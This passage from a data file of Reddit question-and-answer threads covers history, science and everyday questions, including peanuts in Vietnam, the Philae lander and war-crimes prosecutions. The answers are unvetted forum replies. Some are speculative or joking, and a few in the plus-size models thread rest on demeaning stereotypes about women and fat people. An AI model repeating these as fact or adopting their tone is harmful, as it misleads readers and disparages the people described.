[], [], [], [], []]}
{"q_id": "15r1de", "title": "How did peanuts become a part of Vietnamese dishes when they originated in the Americas?", "selftext": "Went to a mainland Asia style restaurant for New Years and saw the proliferation of peanuts in their dishes. Being from a big peanut producing area of the US, I knew we (in a geographic, not national, sense) had them first. Does anyone know why peanuts became a staple in Vietnam when trade with the New World exploded, compared to other foods?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/15r1de/how_did_peanuts_become_a_part_of_vietnamese/", "answers": {"a_id": ["c7p28va", "c7p29gi", "c7pbdnh", "c7pclxb"], "score": [28, 51, 3, 2], "text": ["Compared to which other foods? Chile, tomato, eggplant, pumpkin, pineapple, cashews, and potatoes are all new world plants that have been integrated into old world food traditions.\n\nI'll refrain from offering any specific conjecture about why particular new world plants became staples in particular old world regions, but it probably has a lot to do with the combination of historical trade routes and climates friendly for cultivation.", "Peanuts were brought to China in the 17th century, and presumably spread to Vietnam and other nearby countries shortly afterward. I can't speak for Vietnam, but in Chinese culture peanuts, and other seeds and legumes, are extremely popular because in the traditional Chinese medical schema eating seeds and such is seen as a way to replace \"Jing\" (\u7cbe) or \"essence,\" one of the three \"vital fluids\" in the body. When a person runs out of Jing, they die, and as Jing is lost during sexual intercourse means of replacing Jing are highly valued. Thus, the popularity of eating peanuts, as well as sesame seeds, in Chinese culture to the extent where if one eats at a restaurant in Beijing it is considered odd to *not* order a peanut dish. I imagine peanuts became popular in Vietnam either because of similar medical ideas or because of their popularity in China. Or because they are delicious. Or I am unaware of something about Vietnamese culture (the most likely).\n\n**TLDR:**In China, eating seeds and legumes is considered super healthy, thus the popularity of peanuts in China. Maybe this carried over to Vietnam.", "It could have also come from the fact that Vietnam was part of the French colonial empire. Under the French empire, the different colonies were dedicated to the production of only two or three main crops for trade within the empire with Indochina focusing on rice and rubber (and tea, but only later), while the West African colonies were focused almost exclusively on the production of peanuts/groundnuts. Because the economic model of the empire emphasized trade within the empire, the Vietnamese would have had access to lots of cheap West African peanuts, while the West Africans had access to a lot of cheap Vietnamese rice. One example of the legacy of this exchange is that Nem/Spring Rolls are a quite common food in West Africa.", "_URL_0_  \n\nThe same way potatoes became a part of traditional Irish dishes, tomatoes came to Italy, and Tobacco is smoked worldwide.  \n\nFor further reading, 1493 by Charles C. Mann is an excellent book on the subject of how dramatically the world changed in the years following Columbus' landing in the New World.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Columbian_Exchange"]]}
{"q_id": "2us2zs", "title": "why is there never any campaign for plus-size male models?", "selftext": "Or conventionally unattractive models, for example?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2us2zs/eli5why_is_there_never_any_campaign_for_plussize/", "answers": {"a_id": ["cob4p9y", "cob4tmm", "cob4xfv", "cob8il6", "coba3ql", "cobbfvp", "cobe2mh", "cobf13t", "coblx7m", "cobmpvf", "cobs57o", "cobx01i"], "score": [19, 7, 51, 24, 88, 4, 7, 5, 17, 35, 2, 2], "text": ["Oversized men are targeted by specific retailers. In those cases, they certainly use plus sized male models. \n\nOther retailers sacrifice this small market in their attempt to appeal to a different audience. It's a trade off. You simply can't please all the people all the time. ", "What would a company sell that they would want an ugly person modelling their product? ", "The reason there aren't many plus size male models is because there are no politics behind it to motivate it to even be an issue.  Larger mens clothes are not classified as plus size the way womens clothes are.  A size 38 pants is not labelled as mens plus size like a womens pants size 24 is.  Women's sizes are much more scrutinized than mens are so the controversy with 'regular' size models and plus size models is almost exclusively seen with womens sizes.  \nEdit: grammar", "Probably because men just don't give a fuck. Men tend to be less concerned about their weight than the average overweight woman. They don't need a reason to justify their weight like women and the whole Fat acceptance movement", "[Here's Kevin James](_URL_2_), and [here's his love interest in Paul Blart.](_URL_5_)\n\n[Here's Seth Rogan](_URL_1_), and [here's his romantic interest from Knocked Up.](_URL_3_)\n\n[Paul Giamatti](_URL_4_), and [his love interest from sideways.](_URL_0_)\n\nRegular uggo dudes don't need to fight to be present in media because we've already won that fight.", "There is, you just probably aren't their target market.  Google \"Bear\" ... the gay kind.", "Men have other avenues of producing attraction; personality, money, status, humor etc. So physical deficiency can be made up for more easily. \n\nWomen are in pretty serious trouble when unattractive/overweight. They need a PR campaign for damage control. ", "Because men aren't sexualized in the media the same way that women are.\n\nAs a man I have felt insecure about my appearance before, but my experiences pale in comparison to what women in our culture face.\n\nA man's looks are only one facet of his identity in the media, women one the other hand are judged almost solely based upon their beauty. This goes beyond ad campaigns to television, movies, news programs... pretty much anywhere you see someone on screen.", "What male cares about male models?  The guy holding limes is probably the most important male model ever.", "Fat men know they're fat. They don't need to see fat people in ads to validate themselves.\n\nFat women refuse to believe they are fat. They need to see fat people in ads so they can validate themselves as \"not being THAT fat\".", "Being a fat dude is easy. You giant mofo's are why I'm 27 and I still wear circus tents to work. Because you can get a 38\"32\" **anywhere**.\n\nTry finding a 32\"38.", "Men don't vary in shape quite as drastically as women do. If the advert for menswear is a man wearing a size Meduim- sure he may be hot and more muscular than you but that medium size is what fits the majority of men. Most women are not even close to a size 0. Or close to being 5'11 tall.  \n\n\nFar less advertising aimed at mensware sales, less general interest from men. Infact a lot of advertising for mensware is aimed at women. David Beckham in boxers etc. Women are the ones who spend and they want to see larger models. \n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://en.wikipedia.org/wiki/Virginia_Madsen#mediaviewer/File:VirginiaMadsenSFIFF06_adj.jpg", "http://en.wikipedia.org/wiki/Seth_Rogen#mediaviewer/File:Seth_Rogen_2013.jpg", "http://upload.wikimedia.org/wikipedia/en/9/95/Paul_blart_mall_cop_film.jpg", "http://imgur.com/gallery/ndypZ7l", "http://en.wikipedia.org/wiki/Paul_Giamatti#mediaviewer/File:Paul_Giamatti_2010_TIFF.jpg", "http://en.wikipedia.org/wiki/Jayma_Mays"], [], [], [], [], [], [], []]}
{"q_id": "3hevkm", "title": "I want to learn about the Age of Discovery", "selftext": "Hey guys, first of all thanks for your time and help here :)\n\nSo basically I'm really interested in the whole Age of Discovery (broad I know) and I want to have a in depth knowledge of those events, but I have no idea where to begin to accumulate that kind of information. Books, essays, records?\n\n\n\nTo specify, the main areas of that period of time in which I am most interested are around the Spanish and the Portuguese's travels to South America, their impact on the cultures there, what the cultures (Aztecs, Incans etc) were like before [as a side note if any one knows where to read about Aztec and Incan history I'd love to know that as well] and the general journeys undertaken during that period.\n\n\n\nAnother main focus would be the discovery and exploration of teh Caribbean and America and the countries that arrived there, their journeys and all other information about it.\n\n\n\nI hope that I have been clear enough so you guys are able to help me out, any suggestions on what to read about these areas, or the age of discovery in general would be greatly appreciated. Thanks again everyone :) ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3hevkm/i_want_to_learn_about_the_age_of_discovery/", "answers": {"a_id": ["cu6sdc2", "cu6sqqb"], "score": [2, 3], "text": ["While I'd welcome any more specific requests regarding topics, sources, or really anything about the pre-Columbian and conquest period Andes, you can begin by checking our [book list](_URL_0_) on the side panel.", "When I took my Colonial Latin America class, probably the best book we read was [Ambivalent Conquests: Maya and Spaniard in Yucatan, 1517-1570](_URL_0_). The book covers Spanish conquest of the Maya from the first expeditions to the first meaningfully large conquest. It also talks a fair bit about Mayan culture pre-conquest and how it dealt with Spanish invasion."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/wiki/books/americas#wiki_latin_american_history"], ["http://www.worldcat.org/oclc/50868309"]]}
{"q_id": "2znvmq", "title": "why do ama's only appear on the front page when they're done? it would be helpful if popular ama's would show up while they were happening so many more people could join in.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2znvmq/eli5why_do_amas_only_appear_on_the_front_page/", "answers": {"a_id": ["cpknzeo", "cpko5yn", "cpkoctu", "cpkoddi", "cpkos2y", "cpkotnc", "cpkpjm6"], "score": [2, 9, 11, 2, 2, 5, 3], "text": ["Because most of them are already overcrowded and if you have it on the front page then there will be a flood of sub-par questions. If they keep it off the front page then only people genuinely interested in the AMA-er will ask questions. :)", "You should browse /r/new it take a while for a post to get enough up votes to get to the front page. In the meantime everyone browsing \"/new\" makes comments.", "AMAs are mostly scheduled. You can post questions before it even happens sometimes. I think you can even get reminders.", "In /r/Iama, the sidebar lists upcoming AMA's - so you can take note if it's someone who interests you (or who you think might make the front page it that's all that interests you)", "There's a schedule of upcoming prominent AMAs on the sidebar of /r/iama", "They appear on the front page because they're a part of Reddit's voting system just like everything else. Most AMA's are scheduled so a lot of people refresh constantly waiting for the AMA to come up in hopes of getting their question answered. Chances are, even if AMA's were posted on the front page, you wouldn't get your answer in because there would already be a ton of people flooding it with prepared questions.\n\nAlso, this would be problematic because as long as you cater to the rules of /r/AMA then anyone can post one. So you'd constantly have posts on the front page from random AMA's that nobody cares about. It would also create people flooding /r/AMA with stupid posts just to get on the front page. Then you have the issue of what happens when there is more than 1 active AMA thread? Do you just keep posting them on the front page? You could say to only post the \"important\" AMA's on the front page but then where do you draw the line? Also, who makes that decision, the mods? Sure it's easy when you have the President of the USA doing an AMA but what about when it's some small time state senator trying to talk about an issue that they're fighting for? The bottom line is that it sounds good at first but the logistics of it would make it very impractical.\n\nTL;DR It would be a logistics nightmare and chances are you wouldn't get your question answered anyway because the same people that ask their questions first would still be there first.", "Might I suggest visiting the subreddit from time to time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "7kigo3", "title": "how does a progressive web app(pwa) work?", "selftext": "I'm interested in the topic but I find it hard to understand some points of it. From research, I know that a PWA acts just like a native app but instead, it's on a website. So how does it actually work? What are the best uses of PWAs?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7kigo3/eli5how_does_a_progressive_web_apppwa_work/", "answers": {"a_id": ["drevqls"], "score": [3], "text": ["From my understanding:\nIt\u2019s an application hosted on a web browser. Let\u2019s say you open an application, like any other, it feels and looks like one. But on the back end it really opened up a web browser to host the software on. This way, the software is always up to date, bugs can be repaired quickly, etc."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2mk2g8", "title": "Can the Philae recharge its battery over time?", "selftext": "All of the news reports I've read seem to indicate Philae is dead. However, if it us receiving some sunlight on it's solar panels, could it slowly build enough charge for some additional work?\n\nEdit:\nFrontpage! Thanks for all of the great information everyone!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2mk2g8/can_the_philae_recharge_its_battery_over_time/", "answers": {"a_id": ["cm4yqne", "cm4yslh", "cm51u7h", "cm52q5x", "cm53d3a", "cm55p6o", "cm57trj", "cm57yxv", "cm5cqkj", "cm5gre8", "cm5u2qj"], "score": [675, 104, 38, 21, 28, 64, 21, 10, 3, 7, 2], "text": ["Philae has two sets of batteries; once the primary batteries are exhausted the backup batteries can/will take over [[1](_URL_0_)]. The backup batteries are rechargeable but would require enough energy input to heat them before they are able to do so [[2](_URL_1_)]. ", "*Slowly* is pretty much what's happening. It landed in a shaded area, so it would have to wait until the comet moves around the sun enough to get direct light. Judging by how they are calling it \"dead\" makes me think this could take a while.", "A side question from a layman: was it supposed to run dry around this time or was it miscalculated?", "This was addressed in the press conference, but I can't find the link to the video.\n\nEssentially, the battery chargers need more light than they are currently getting to keep the Philae functioning.  They hope that, as the comet approaches the sun, it may get more light each day.  If that happens, the first thing it will do is begin warming up the batteries before turning back on.  If that happens, we may get the signal back, but it could be anywhere from 6 to 18 months away, or it might not happen at all.  ", "Does Rosetta have to accelerate to match the comet's speed as it plunges towards the sun, or does the comet have enough gravity to take care of that itself?", "Kind of a side question, was there any particular reason it wasn't fitted with a nuclear battery (RTG) backup ? it would also possibly have the advantage of helping keep the batteries warm to charge in sub-optimal conditions.  Seems it should have been conceivable that the probe could end up in the shade.\n\n", "I had the exact same question and it was answered by one of the mission scientist _URL_0_", "They should have used a nuclear battery, you know, the batteries that last 20 years...", "Will the batteries (and all equipement for that matter) perform better when P67 comes closer to the sun? Will the scientists be able to give it a last go? Or will rosetta not be around anymore to relay the mesages?\n\nSorry for all the questions.\n\nedit: word", "Yes, it is possible. [Here you have it first-hand](_URL_0_) from the lander Project Manager Stephan Ulamec:   \n   \n'Contact in the coming year\n\nStephan Ulamec believes it is probable that in the **spring of 2015**, the DLR LCC will once again communicate with Philae and receive data about how the lander is faring on Comet 67P/Churyumov-Gerasimenko. In the **summer of 2015**, it might be possible that temperatures on the comet will allow Philae\u2019s battery to be recharged. \"The orbiter will continue with its overflights to receive any signals from the lander once Philae wakes up from hibernation.\" '", "I'm an electronics hobbyist, and the problem is pretty interesting (assuming I'm correct):\n\nPhilae's power supply doesn't have an on/off switch. It's batteries are connected to the solar panels, and there's a computer connected to the power supply which determines whether or not it has enough power to turn on the radio transmitter, so that it can communicate it's status back to ESA. \n\nIf the solar panels ever receive enough sunlight, Philae starts consuming the energy the second it arrives. If it receives a tiny bit of sunlight, it probably can't 'store' that energy because the computer uses that as it starts running.\n\nSo basically, the only way Philae will start up it's systems ever again, is if it gets enough energy to supply the computer chips AND recharge the battery at the same time. Obviously, the computer chips probably only need 3.3volts at a few milliamps to make a decision, but Philae needs a solid 27 volts and around 100mAh to get started up.\n\nEdit: As /u/bnelkin pointed out, I didn't even take into account the fact that in needs enough energy to start heating up the batteries before it can even attempt to store energy. \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.techrepublic.com/article/the-tech-behind-the-rosetta-comet-chaser-from-3d-printing-to-solar-power-to-complex-mapping/", "http://www.newscientist.com/article/dn26563-philae-drills-comet-but-may-not-survive-the-night.html"], [], [], [], [], [], ["https://www.youtube.com/watch?v=7Xm6y0LzlLo&amp;list=PLbyvawxScNbtAhH8vHAYl-pyEirPi-4Ad#t=2494"], [], [], ["http://www.dlr.de/dlr/en/desktopdefault.aspx/tabid-10081/151_read-12176/#/gallery/17219"], []]}
{"q_id": "4ayfos", "title": "How accurate were medieval historians in terms of timeframes of the ancient world?", "selftext": "This is sort of an ironic way of phrasing the question, since the Middle Ages themselves covered far more time than we often give them credit for, but any and all points along the Middle Ages and into the renaissance I would be interested in. \n\nHow did they view the past in chronological terms? Did they know how long Rome was around, how old the Greek civilization was, or that the heyday of ancient Egypt was thousands of years ago? Or did they think kinda like \"dinosaurs and cavemen lived together\", with all these ancient and long separated eras existing simultaneously or one after another?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4ayfos/how_accurate_were_medieval_historians_in_terms_of/", "answers": {"a_id": ["d15i4xy"], "score": [6], "text": ["Medieval scholars were well aware of chronology, since they had to calculate calendars so that they could accurately plot out the date of moveable Christian feast days like Easter (the subject was called computus). This science allowed them to produce tables which would show the date of Easter years in advance.\n\nThe development of Easter tables was the principle factor leading to the redating of time to the birth of Christ (Anno Domini, \u201cIn the Year of Our Lord\u2019s [Incarnation]\u201d). This was first calculated by the monk Dionysius Exiguus (Dennis the Short) in the sixth century but not widely used until popularized by Bede (died 735), a scholar in Northern England who was both an expert in computus and widely read throughout the continent for his biblical commentaries and other religious works (though known today mostly for his History of the English Church). Prior to this dating of years was usually carried out according to the year of the emperor or of the indiction cycle (a cycle of 15 years).\n\nTo the question about their knowledge of the past, they had access to a number of Roman and late antique histories of Rome. Perhaps the most popular in western Europe were Rufinus\u2019s translation of Eusebius\u2019s History of the Church, and, covering the earlier period, Orosius\u2019s History against the Pagans (written after the sack of Rome to counter the pagan accusation that Rome suffered calamity because of punishment for abandoning the Roman gods and accepting Christianity). This history went back to the foundation of Rome and dated events according to how many years it happened from that founding date (which I think it set at 753 BC, though Orosius was writing before the use of AD and BC). There were plenty of other histories they also read, as well as chronicles, which listed all the important events that happened year by year.\n\nOf course they also used the Bible as a source of history and took great pains to correlate the events it describes with contemporary events in Greece and Rome.\n\nYou can read more in The Oxford Companion to the Year by Blackburn and Holford-Stevens and in Faith Wallis\u2019s book on Bede: The Reckoning of Time, and also in the primary sources like Bede\u2019s History, Orosius, the Anglo-Saxon Chronicle, and others.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4dvkwp", "title": "why don't humans dissolve in either polar or nonpolar solvents? i mean, i get why water doesn't dissolve me, but why doesn't gasoline?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4dvkwp/eli5_why_dont_humans_dissolve_in_either_polar_or/", "answers": {"a_id": ["d1urlre", "d1utipw", "d1uwfts"], "score": [13, 3, 3], "text": ["You can certainly strip the protective layer of skin oils from your skin with detergents and solvents, but our skin forms a very strong barrier, composed of many layers. The top layer is dead skin cells made primarily of keratin and other proteins. You would need something that denatures or destroys proteins, such as extreme heat, acid, bases, etc. ", "A large portion of your body is made of polymers, small molecules linked together to make very long strings or networks. Polymers are very hard to dissolve without breaking them up into smaller pieces first. \n\nGlucose, the sugar, is a small molecule that dissolves very quickly in water. However, poly-glucose or Cellulose, very long strings of glucose molecules linked together, doesn't dissolve easily and is the main component of wood. Insect shells are made of Chitin, also a glucose based polymer.", "Have you tried cranking up the temp and pressure?  Try about a thousand bars at 400 kelvin just to see what happens and get back to us then.  If that doesn't work try Mountain dew."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3m9wwo", "title": "Is the name Julia derived from Julius Caesar?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3m9wwo/is_the_name_julia_derived_from_julius_caesar/", "answers": {"a_id": ["cvdblgd"], "score": [3], "text": ["Close. \n\nIts derived from his family. The Julii were one of the oldest families of Rome, traditionally having been Alban in origin and joining the city after Tulus Hostillius brought about the subjugation and then destruction of Alba Longa.\n\nThe name itself is a traditional name of one of the sons of Aeneas, the \"founder\" of the Roman people when his Trojan band finally settled amongst the Latins. \n\nThe Caesar branch was then a branch of the Julii family, with Gaius Julius Caesar being the most prominent member. But female family members generally just took the feminine forms of their father's name, so there were MANY Julia's, and Claudia's, Flavia's.\n\nThere had been many Julia's before then, one Julia Caesaris in particular was his Aunt and the wife of Marius the Roman general and statesman. When she died he is reported to have given a memorable funeral oration. The way it has come down to us helps inform how much weight the Romans placed on family history and bloodlines. \n\n\"The family of my aunt Julia is descended by her mother from the kings and on her father's side is akin to the immortal gods. For the Marcii Reges go back to Ancus Marcius, and the Iulii, the family of which ours is a branch, to Venus. Our stock therefore has at once the sanctity of kings, whose power is supreme among mortal men, and the claim to reverence which attaches to the gods, who hold sway over kings themselves.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "87j3h5", "title": "What is the Calabi-Yua manifold ?", "selftext": "I\u2019d really like to learn more about it but I can\u2019t find much about it. I\u2019d appreciate if someone could take the time to explain it to me, Thanks.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/87j3h5/what_is_the_calabiyua_manifold/", "answers": {"a_id": ["dwf8f7p"], "score": [11], "text": ["There is no \"the\" Calabi-Yau Manifold. A \"Manifold\" is merely just any kind of shape, object or space (that is \"nice enough\"^(TM)). The Euclidean plane is a manifold, a line is a manifold, a circle is a manifold, a sphere is a manifold, hyperbolic space is a manifold, a torus (doughnut) is a manifold, flat spacetime is a manifold, curved spacetime is a manifold, a coffee mug is a manifold. etc. Manifolds can be any dimension, and are, generally, any object or space that you can do Calculus on. You can have Real Manifolds, where you can do ordinary multivariable calculus, or Complex Manifolds, where you can do complex analysis.\n\nA Calabi-Yau Manifold is merely just Complex Manifold satisfying certain nice^(TM) technical conditions. A torus is a Calabi-Yau Manifold. A sphere is not a Calabi-Yau Manifold. The nice^(TM) conditions just happen to be things that string theorists sometimes need, so they sometimes use Calabi-Yau Manifolds in their work."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1r0smo", "title": "Has there ever been an account of the winner prosecuting their own generals of war crimes?", "selftext": "*for", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1r0smo/has_there_ever_been_an_account_of_the_winner/", "answers": {"a_id": ["cdikivg", "cdilpiv", "cdimxvn", "cdioter", "cdips3y", "cditoxd", "cdivbhe", "cdivshe", "cdiwa87", "cdiz6ma"], "score": [262, 41, 198, 30, 115, 21, 5, 4, 5, 2], "text": ["I remember during the second pelloponnesian war, a couple Athenian generals were executed after a naval victory over the Spartans because they failed to properly bury the Athenian dead in the battle. The reason they didn't have their surviving men get the bodies was because it was too great a risk to the surviving men to get the dead ones. The Athenians really fucked themselves\nOver in some ways during the pellopennisian wars. This treatment of some generals caused many to leave Athens to become mercenaries even in Persia which was much more lucrative. ", "_URL_0_\n\nSabra and Shatila Massacre (16\u201318 September 1982). The Kahan Commission was chaired by the President of the Supreme Court, Yitzhak Kahan. Its other two members were Supreme Court Judge Aharon Barak, and Major-General (res.) Yona Efrat. The Commission was to make recommendations on Israeli involvement in the massacre through an investigation of:\n[A]ll the facts and factors connected with the atrocity carried out by a unit of the Lebanese Forces against the civilian population in the Shatilla and Sabra camps.\nFollowing a four-month investigation, on 8 February 1983, the Kahan Commission submitted its report, which was released to the public by spokesman Bezalel Gordon simultaneously in Hebrew and English. It concluded that direct responsibility rested with the Gemayel Phalangists led by Fadi Frem, and that no Israelis were deemed directly responsible, although Israel was held to be indirectly responsible.", "The US sortof did, General Jacob H Smith was court martialed for an order he gave in the Philippine war (which effectively amounted to kill all the men and boys above the age of 10), but the actual charge was for \"conduct to the prejudice of good order and military discipline\".\n\nHe was discharged without further punishment.\n\nSource: _URL_0_", "This is something of a counter-example, but _URL_1_ , basically the Union's version of Andersonville. There were investigations, a few people were demoted (this was during the hostilities), but that was the extent of it. This is also before the Hague Conventions (1899 and 1907), thus international law regarding \"war crimes\" was fuzzy at best.\n\nA better example might be Peter von Hagenbach _URL_0_ , who ... was a dick (yes mods, it is top-level, I just feel the language is warranted here) and ruthlessly repressed his rebellious territories. The Holy Roman Empire convened a tribunal of notables who decided to strip him of his titles and put him to death for \"crimes against man and God\". In this case he wasn't the winner, but he wasn't actually the loser either, it's more like the princes of the HRE were getting tired of this, and the Archduke of Austria (likely Sigismund the Rich) captured him to hold him for trial by the various princes and other groups. This case is in fact one of the great milestones in international law, with the concert of vienna, which recognized Swiss neutrality and free navigation for many rivers, being the other precedent for the Geneva and Hague conventions of the late 19th and 20th centuries.\n\nOh, during the early stages of the rebellion of India, Reginald Edward Harry Dyer, the Brigadier General responsible for the Amritsar Massacre (1919), was ... kind of punished. Though he had huge support at home, his actions lead to a \"slap on the wrist\" punishment after a commission investigated his actions, and was found \"guilty of a mistake notion of duty and relieved of command\", and also lost his recommendation for a CBE for prior service. They \"lost\" that war in the end, so I guess it could go either way really.", "Yes. \n[Mirko Norac](_URL_0_) is a former general of the Croatian Army. He was the first Croatian Army general to be found guilty of war crimes by a Croatian court, in 2003, after his transfer from The Hague. He served ten years in prison and was released on probation in November 2011.\n\nThis is just one example, and of the top of my head. I know that Serbia has tried their own generals too. \n\nAlso, for greater depth see [ICTY](_URL_1_), a court established by an UN resolution and with juristiction accepted by all warring parties. I don't know about other nations, but Croatian Constitution holds articles effectively making ICTY a part of Croatian judicial system. ", "After the My Lai massacre in March of 1968, 23rd Infantry Division commander Major General Samuel W. Koster became the highest ranking officer of the 14 officers charged with covering up the massacre. While the charges were dropped, the Army took internal action and denied promotion to Lieutenant General, demoted General Koster to Brigadier General, censured the general, stripped him of his distinguished service medal, and removed him as commandant of West Point. There was no evidence to suggest that General Koster ordered war crimes to be committed, but he was responsible for ordering a cover up and was punished. This is one of the better examples I could find, though it may not fit precisely within the parameters of your question.", "Very recent example the Sri Lankan civil war, the commander of the Sri Lankan army challenged the president  in elections. He was arrested, charged with war crimes and jailed.. [source](_URL_0_)", "Lt. Col. Allen West was charged with war crimes in Iraq, but the courtmartial offense was dropped to an administrative issue and he was eventually fined $5000.00. Several British officers including a full Colonel were charged with court martial offenses in an abuse case in Iraq but the charges later dropped. After the Abu Ghirab incident in Iraq American General Janis Karpinski was charged with dereliction of duty and demoted to Colonel. \n\n There haven't been many examples of high ranking officers prosecuted for war crimes in history because the concept of war crimes is fairly recent. For most of history it has been assumed that the victors in war would steal everything they could get their hands on, rape all the women, murder any men who resisted, and enslave all the survivors. If you look at victors courtmartialing or killing their own generals for other reasons there are plenty of famous cases, many involving Kings jealous of the winning generals popularity, but other famous episodes like Alexander killing his top ranking general Parmenion for just in case, or the British executing Admiral Byng pour encourager les autres early in the 7 years war (which England won).", "General Dyer in a way. He was brought home from India after the Jallianwala Bagh Massacre. He Instructed his troops to open fire on a peaceful protest of men, women, and children without giving any warning to the innocent civilians.\n\nHe wasn't truly punished, just brought back to the Britain. But he never returned to India despite the turmoil occuring there, which is evidence that they knew his of his wrongdoing, and were not going to let it happen again.\n\nIn the report of the commitee appointed to investigate the massacre, it clearly states his troops were not acting in self defence, he did not give enough time for the crowd to disperse, and the he 'continued firing for a substantial period of time after the corwd had commenced to diperse'. They state he continued firing for 10 minutes.\n\nIn this report you can read some of his quotations - he is completely unrepentant. \n\n[Wiki](_URL_0_)\n\nSourced from Cmd. 681, I920.\n", "Honest question: I'm wondering if the [Maywand District murders](_URL_1_) or the massacre by [Robert Bales](_URL_0_) could be used as an example of war crimes prosecuted by \"the winning team\" on their own soldiers? Granted, we can discuss whether the US is really winning the war in Afghanistan, but that's probably more a minor question. The bigger question we have is: Could those acts been defined as \"war crimes\" or more as, you know, \"regular crimes\" which just happened to be conducted by soldiers?\n\nMaybe someone could enlighten me, but i feel as if we don't have to dig up worlds history but just take a look at current events. to answer your question.\n\nbtw: Sorry for my bad English but it's not my native language."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Kahan_Commission"], ["https://en.wikisource.org/wiki/Secretary_Root%27s_Record:%22Marked_Severities%22_in_Philippine_Warfare"], ["http://www.icrc.org/eng/resources/documents/article/other/57jq2x.htm", "http://en.wikipedia.org/wiki/Camp_Douglas_(Chicago)#Aftermath"], ["http://en.wikipedia.org/wiki/Mirko_Norac", "http://en.wikipedia.org/wiki/International_Criminal_Tribunal_for_the_former_Yugoslavia"], [], ["http://en.wikipedia.org/wiki/Sarath_Fonseka"], [], ["http://en.m.wikipedia.org/wiki/Jallianwala_Bagh_massacre"], ["https://en.wikipedia.org/wiki/Robert_Bales", "https://en.wikipedia.org/wiki/Maywand_District_murders"]]}
{"q_id": "3dudve", "title": "Why isn't Economics predictive?", "selftext": "Alternatively, does the current economy represent the optimal outcome of the application of the Science of Economics?\n\nOriginal queried on [r/economy](_URL_0_).\n\nEdit:  Judging from the responses this question would have been better formulated as: \"What is the predictive value of Economics\"?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3dudve/why_isnt_economics_predictive/", "answers": {"a_id": ["ct8u1tk", "ct8urki"], "score": [12, 24], "text": ["Economics makes some pretty strong assumptions about the choices of economic actors.  Stuff like they want to maximize utility and utility can easily be measured as the amount of money they get.  However, it is rare that economic motivations are that simple.\n\nThe ability to accurately predict the decisions of every individual is difficult when the true measure of utility for those individuals is only an approximation.  I might not care as much about money and will be more concerned about a social pay-off of some sort.  \n\nAlso there are a lot of assumptions about the amount of knowledge that these agents have and how efficiently they incorporate that knowledge into their decision making process.  I might be wrong, but I think that the assumptions for the most part are that individuals are perfectly rational, fully informed on all publicly available information and perfectly incorporate that information into their decision making.  When billions of dollars are on the line, I might be close to this, but when I am deciding on how to spend $10 I tend to take short cuts to make a more efficient decision.\n\nAll of this isn't to say that economics doesn't have any predictive power, just that some of the predictive power is lost due to the fundamental assumptions that are made in order to build a lot of the models that exist in economics. \n\nedit: As a response to your second question, the current economy does not reflect the optimal application of the science of economics.  But that is more a short coming of the economic models.  (Just my thoughts though probably an interesting topic for dialogue.)", "okay, might actually have some insight to offer to this sub!\n\nEconomics actually does pretty well with certain prediction. And even though we get a bad name, our assumptions normally work in a large scale. However, I'm guessing that the question is more like why don't we know what's going to happen tomorrow.\n\nThere are various reasons for this. Mostly it has to do with the stochastic nature of choices and events,  and the way that predictions change the outcome.\n\nThe randomness of choice and incomplete information aspect make most economics predictions kind of like statistical ones. It isn't that something is going to happen for sure but rather that it has a good chance of happening or not. And so if a big event or an unlikely one, like a earthquake or introduction of a revolutionary technology, it changes the odds.\n\nIn physics, we can say something and no matter the prediction, it happens. However, if i say that the price of gold is going to fall by 10 percent because the sun is shinning more today and enough people believe me, it will happen (and this doesn't violate any assumption of rationality) .  So the prediction (right or wrong) will affect what happens. \n\nFinally, to your question about optimal outcome, the answer is actually a big disagreement in the economics community. Some believe that markets  at any point are always in equilibrium (  The Chicago school of thought); but there is also a big side that says that markets do fail. I personally tend to side with the answer that it isn't, but I study micro not macro so I'm not completely caught up in the literature. \n\n\n"]}, "title_urls": [], "selftext_urls": ["http://redd.it/3du77h"], "answers_urls": [[], []]}
